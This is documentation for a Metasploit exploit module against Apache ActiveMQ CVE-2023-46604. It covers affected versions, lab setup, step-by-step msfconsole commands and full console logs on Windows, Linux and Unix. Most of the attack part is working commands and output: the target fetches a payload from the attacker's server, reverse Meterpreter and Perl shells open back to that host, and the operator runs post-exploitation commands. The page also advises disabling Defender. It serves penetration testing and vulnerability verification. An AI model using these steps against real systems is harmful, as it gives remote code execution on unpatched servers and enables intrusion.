## Vulnerable Application
This module exploits a deserialization vulnerability in the OpenWire transport unmarshaller in Apache ActiveMQ.
Affected versions include 5.18.0 through to 5.18.2, 5.17.0 through to 5.17.5, 5.16.0 through to 5.16.6, and all
versions before 5.15.16.

For a full technical analysis of the vulnerability read the
[Rapid7 AttackerKB Analysis](https://attackerkb.com/topics/IHsgZDE3tS/cve-2023-46604/rapid7-analysis).

## Testing

### Linux
* The official [Getting Started](https://activemq.apache.org/getting-started) documentation has a full walkthrough.
* You will need to install Java if you have not already done so.
* Download a vulnerable version of ActiveMQ, e.g. [apache-activemq-5.18.2-bin.tar.gz](https://www.apache.org/dyn/closer.cgi?filename=/activemq/5.18.2/apache-activemq-5.18.2-bin.tar.gz&action=download)
* Extract the contents: `tar zxvf apache-activemq-5.18.2-bin.tar.gz`
* Change into the ActiveMQ directory: `cd apache-activemq-5.18.2/bin/`
* Run ActiveMQ in the foreground: `./activemq console`

## Verification Steps
Note: Disable Defender if you are using the default payloads on a Windows target.

Steps (Linux target):
1. Start msfconsole
2. `use exploit/multi/misc/apache_activemq_rce_cve_2023_46604`
3. `set RHOST <LINUX_TARGET_IP>`
4. `set SRVHOST eth0`
5. `set target 1`
6. `set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp`
7. `check`
8. `exploit`

## Scenarios

### Windows
```
msf exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > show options

Module options (exploit/multi/misc/apache_activemq_rce_cve_2023_46604):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[
                                       ,type:host:port][...]
   RHOSTS   192.168.86.50    yes       The target host(s), see https://docs.me
                                       tasploit.com/docs/using-metasploit/basi
                                       cs/using-metasploit.html
   RPORT    61616            yes       The target port (TCP)
   SRVHOST  192.168.86.42    yes       The local host or network interface to
                                       listen on. This must be an address on t
                                       he local machine or 0.0.0.0 to listen o
                                       n all addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSLCert                   no        Path to a custom SSL certificate (defau
                                       lt is randomly generated)
   URIPATH                   no        The URI to use for this exploit (defaul
                                       t is random)


Payload options (cmd/windows/http/x64/meterpreter/reverse_tcp):

   Name               Current Setting  Required  Description
   ----               ---------------  --------  -----------
   EXITFUNC           process          yes       Exit technique (Accepted: '',
                                                  seh, thread, process, none)
   FETCH_COMMAND      CERTUTIL         yes       Command to fetch payload (Acc
                                                 epted: CURL, TFTP, CERTUTIL)
   FETCH_DELETE       false            yes       Attempt to delete the binary
                                                 after execution
   FETCH_FILENAME     ainzysikAU       no        Name to use on remote system
                                                 when storing payload; cannot
                                                 contain spaces.
   FETCH_SRVHOST                       no        Local IP to use for serving p
                                                 ayload
   FETCH_SRVPORT      8080             yes       Local port to use for serving
                                                  payload
   FETCH_URIPATH                       no        Local URI to use for serving
                                                 payload
   FETCH_WRITABLE_DI  %TEMP%           yes       Remote writable dir to store
   R                                             payload; cannot contain space
                                                 s.
   LHOST              192.168.86.42    yes       The listen address (an interf
                                                 ace may be specified)
   LPORT              4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows



View the full module info with the info, or info -d command.

msf exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > check
[*] 192.168.86.50:61616 - The target appears to be vulnerable. Apache ActiveMQ 5.15.3
msf exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > exploit

[*] Started reverse TCP handler on 192.168.86.42:4444 
[*] 192.168.86.50:61616 - Running automatic check ("set AutoCheck false" to disable)
[+] 192.168.86.50:61616 - The target appears to be vulnerable. Apache ActiveMQ 5.15.3
[*] 192.168.86.50:61616 - Using URL: http://192.168.86.42:8080/4ORmILKzvCrowHQ
[*] 192.168.86.50:61616 - Sent ClassPathXmlApplicationContext configuration file.
[*] 192.168.86.50:61616 - Sent ClassPathXmlApplicationContext configuration file.
[*] Sending stage (200774 bytes) to 192.168.86.50
[*] Meterpreter session 2 opened (192.168.86.42:4444 -> 192.168.86.50:51975) at 2023-11-02 10:15:14 +0000

meterpreter > getuid
Server username: WIN-V28QNSO2H05\Administrator
meterpreter > pwd
C:\apache-activemq-5.15.3\bin
meterpreter > sysinfo
Computer        : WIN-V28QNSO2H05
OS              : Windows 2016+ (10.0 Build 20348).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows
meterpreter > 
```

### Linux

```
msf exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > show options

Module options (exploit/multi/misc/apache_activemq_rce_cve_2023_46604):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[
                                       ,type:host:port][...]
   RHOSTS   192.168.86.43    yes       The target host(s), see https://docs.me
                                       tasploit.com/docs/using-metasploit/basi
                                       cs/using-metasploit.html
   RPORT    61616            yes       The target port (TCP)
   SRVHOST  192.168.86.42    yes       The local host or network interface to
                                       listen on. This must be an address on t
                                       he local machine or 0.0.0.0 to listen o
                                       n all addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSLCert                   no        Path to a custom SSL certificate (defau
                                       lt is randomly generated)
   URIPATH                   no        The URI to use for this exploit (defaul
                                       t is random)


Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):

   Name               Current Setting  Required  Description
   ----               ---------------  --------  -----------
   FETCH_COMMAND      CURL             yes       Command to fetch payload (Acc
                                                 epted: CURL, FTP, TFTP, TNFTP
                                                 , WGET)
   FETCH_DELETE       false            yes       Attempt to delete the binary
                                                 after execution
   FETCH_FILENAME     baCcDlijxJN      no        Name to use on remote system
                                                 when storing payload; cannot
                                                 contain spaces.
   FETCH_SRVHOST                       no        Local IP to use for serving p
                                                 ayload
   FETCH_SRVPORT      8080             yes       Local port to use for serving
                                                  payload
   FETCH_URIPATH                       no        Local URI to use for serving
                                                 payload
   FETCH_WRITABLE_DI                   yes       Remote writable dir to store
   R                                             payload; cannot contain space
                                                 s.
   LHOST              192.168.86.42    yes       The listen address (an interf
                                                 ace may be specified)
   LPORT              4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Linux



View the full module info with the info, or info -d command.

msf exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > check
[*] 192.168.86.43:61616 - The target appears to be vulnerable. Apache ActiveMQ 5.18.2
msf exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > exploit

[*] Started reverse TCP handler on 192.168.86.42:4444 
[*] 192.168.86.43:61616 - Running automatic check ("set AutoCheck false" to disable)
[+] 192.168.86.43:61616 - The target appears to be vulnerable. Apache ActiveMQ 5.18.2
[*] 192.168.86.43:61616 - Using URL: http://192.168.86.42:8080/Fn51CApi
[*] 192.168.86.43:61616 - Sent ClassPathXmlApplicationContext configuration file.
[*] 192.168.86.43:61616 - Sent ClassPathXmlApplicationContext configuration file.
[*] Sending stage (3045380 bytes) to 192.168.86.43
[*] Meterpreter session 3 opened (192.168.86.42:4444 -> 192.168.86.43:44674) at 2023-11-02 10:17:42 +0000

meterpreter > getuid
Server username: steve
meterpreter > pwd
/home/steve/Downloads/apache-activemq-5.18.2/bin
meterpreter > sysinfo
Computer     : 192.168.86.43
OS           : Ubuntu 22.04 (Linux 6.2.0-33-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.86.43 - Meterpreter session 3 closed.  Reason: Died
msf exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > 
```

### Unix

```
msf exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > show options

Module options (exploit/multi/misc/apache_activemq_rce_cve_2023_46604):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[
                                       ,type:host:port][...]
   RHOSTS   192.168.86.43    yes       The target host(s), see https://docs.me
                                       tasploit.com/docs/using-metasploit/basi
                                       cs/using-metasploit.html
   RPORT    61616            yes       The target port (TCP)
   SRVHOST  192.168.86.42    yes       The local host or network interface to
                                       listen on. This must be an address on t
                                       he local machine or 0.0.0.0 to listen o
                                       n all addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSLCert                   no        Path to a custom SSL certificate (defau
                                       lt is randomly generated)
   URIPATH                   no        The URI to use for this exploit (defaul
                                       t is random)


Payload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.86.42    yes       The listen address (an interface may be s
                                     pecified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   2   Unix



View the full module info with the info, or info -d command.

msf exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > check
[*] 192.168.86.43:61616 - The target appears to be vulnerable. Apache ActiveMQ 5.18.2
msf exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > exploit

[*] Started reverse TCP handler on 192.168.86.42:4444 
[*] 192.168.86.43:61616 - Running automatic check ("set AutoCheck false" to disable)
[+] 192.168.86.43:61616 - The target appears to be vulnerable. Apache ActiveMQ 5.18.2
[*] 192.168.86.43:61616 - Using URL: http://192.168.86.42:8080/3mzi3Tfryin
[*] 192.168.86.43:61616 - Sent ClassPathXmlApplicationContext configuration file.
[*] 192.168.86.43:61616 - Sent ClassPathXmlApplicationContext configuration file.
[*] Command shell session 4 opened (192.168.86.42:4444 -> 192.168.86.43:48962) at 2023-11-02 10:20:13 +0000
id
[*] 192.168.86.43:61616 - Server stopped.

uid=1000(steve) gid=1000(steve) groups=1000(steve),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare),139(wireshark)
pwd
/home/steve/Downloads/apache-activemq-5.18.2/bin
uname -a
Linux sfewer-ubuntu-test 6.2.0-33-generic #33~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep  7 10:33:52 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
exit
```
